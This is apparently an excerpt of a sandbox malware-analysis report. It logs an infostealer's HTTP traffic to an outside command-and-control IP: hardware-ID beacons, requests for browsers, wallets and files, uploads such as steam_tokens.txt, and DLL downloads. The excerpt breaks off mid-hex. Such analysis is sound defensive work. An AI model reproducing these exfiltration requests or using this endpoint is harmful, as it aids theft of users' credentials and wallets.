00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 19:05:55 GMTContent-Type: application/octet-streamContent-Length: 1925632Last-Modified: Tue, 19 Nov 2024 18:55:23 GMTConnection: keep-aliveETag: "673cdf1b-1d6200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4c 00 00 04 00 00 fa 50 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 1e 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 1e 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 74 6a 6e 69 64 61 6a 00 50 1a 00 00 e0 31 00 00 44 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 70 78 67 62 69 75 65 00 10 00 00 00 30 4c 00 00 06 00 00 00 3a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4c 00 00 22 00 00 00 40 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 19:07:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 19 Nov 2024 17:49:21 GMTETag: "4cdbb22-62747a738e096"Accept-Ranges: bytesContent-Length: 80591650Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 24 84 32 e2 60 e5 5c b1 60 e5 5c b1 60 e5 5c b1 d4 79 ad b1 68 e5 5c b1 d4 79 af b1 eb e5 5c b1 d4 79 ae b1 6d e5 5c b1 e0 9e a1 b1 62 e5 5c b1 e0 9e 58 b0 72 e5 5c b1 e0 9e 5f b0 6a e5 5c b1 e0 9e 59 b0 59 e5 5c b1 69 9d df b1 69 e5 5c b1 69 9d db b1 62 e5 5c b1 69 9d cf b1 67 e5 5c b1 60 e5 5d b1 43 e4 5c b1 ee 9e 59 b0 52 e5 5c b1 ee 9e 5c b0 61 e5 5c b1 ee 9e a3 b1 61 e5 5c b1 ee 9e 5e b0 61 e5 5c b1 52 69 63 68 60 e5 5c b1 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 23 97 40 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 21 00 68 04 00 00 6a 02 00 00 00 00 00 e0 2e 03 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 08 00 00 04 00 00 00 00 00 00 02 00 60 c1 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 a0 97 05 00 34 00 00 00 d4 97 05 00 50 00 00 00 00 00 07 00 bc e3 00 00 00 a0 06 00 6c 30 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 70 09 00 00 c0 36 05 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 37 05 00 28 00 00 00 f0 b3 04 00 40 01 00 00 00 00 00 00 00 00 00 00 00 80 04 00 08 05 00 00 bc 88 05 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6e 67 04 00 00 10 00 00 00 68 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 28 01 00 00 80 04 00 00 2a 01 00 00 6c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 5c e7 00 00 00 b0 05 00 00 1a 00 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 6c 30 00 00 00 a0 06 00 00 32 00 00 00 b0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 60 03 00 00 00 e0 06 00 00 04 00 00 00 e2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 5f 52 44 41 54 41 00 00 5c 01 00 00 00 f0 06 00 00 02 00 00 00 e6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 bc e3 00 00 00 00 07 00 00 e4 00 00 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 70 09 00 00 00 f0 07 00 00 0a 00 00 00 cc 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 46 34 42 35 30 45 33 43 34 39 31 35 38 34 32 36 35 39 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="hwid"83F4B50E3C491584265921------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="build"mars------BGHIIJDGHCBFIECBKEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="message"browsers------AEHIJKKFHIEGCBGCAFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="message"plugins------EGHCBKKKFHCGCBFIJEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBKKEBKEBFCAAAEGDHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 4b 4b 45 42 4b 45 42 46 43 41 41 41 45 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 4b 4b 45 42 4b 45 42 46 43 41 41 41 45 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 4b 4b 45 42 4b 45 42 46 43 41 41 41 45 47 44 48 2d 2d 0d 0a Data Ascii: ------KECBKKEBKEBFCAAAEGDHContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------KECBKKEBKEBFCAAAEGDHContent-Disposition: form-data; name="message"fplugins------KECBKKEBKEBFCAAAEGDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFIHost: 185.215.113.206Content-Length: 6871Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIIIHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="file"------GCAFCAFHJJDBFIECFBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 2d 2d 0d 0a Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file"------JEBKEHJJDAAAAKECBGHD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJKHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAECAECFCAAEBFHIEHDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 2d 2d 0d 0a Data Ascii: ------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="message"wallets------GDAECAECFCAAEBFHIEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="message"files------EGIDBFBFHJDGCAKEGHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="file"------JJDGCGHCGHCBFHJJKKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHCGCGDAAKFIECFHDBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 